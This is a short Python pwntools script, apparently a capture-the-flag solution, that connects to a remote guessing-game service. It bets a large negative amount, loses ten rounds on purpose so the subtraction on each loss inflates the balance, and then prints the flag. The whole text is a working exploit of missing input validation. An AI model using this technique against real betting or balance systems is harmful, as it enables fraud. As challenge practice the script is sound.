Python Script:
from pwn import *
conn = remote("thekidofarcrania.com", 10001)
conn.recvuntil(b"Are you ready? Y/N :")
conn.sendline(b"Y")
conn.sendline(b"-1000000") # 500 - (-1000000) = 1000500 (subtraction on losing)
conn.recvuntil(b"The Game is On, Good Luck !..")
guesses = b"11\n" * 10 # Lose 10 times
conn.send(guesses)
while True:
data = conn.recvline().decode()
if "flag" in data:
print(data)
break